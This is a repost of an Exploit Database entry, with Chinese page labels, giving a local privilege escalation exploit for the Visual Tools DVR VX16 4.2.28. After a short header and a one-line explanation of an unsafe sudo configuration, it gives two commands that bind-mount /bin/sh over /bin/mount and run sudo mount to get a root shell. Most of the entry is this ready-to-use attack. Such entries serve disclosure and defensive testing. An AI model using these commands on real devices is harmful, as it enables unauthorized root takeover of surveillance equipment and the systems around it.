Visual Tools DVR VX16 4.2.28 – Local Privilege Escalation

• Exploit Database
• 15 阅读

• 作者： Andrea D\'Ubaldo
  日期： 2021-07-06
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50104/

• # Exploit Title: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation
  # Date: 2021-07-05
  # Exploit Author: Andrea D'Ubaldo
  # Vendor Homepage: https://visual-tools.com/
  # Version: Visual Tools VX16 v4.2.28.0
  # Tested on: VX16 Embedded Linux 2.6.35.4.
  
  #An attacker can perform a system-level (root) local privilege escalation abusing unsafe Sudo configuration.
  
  sudo mount -o bind /bin/sh /bin/mount
  sudo mount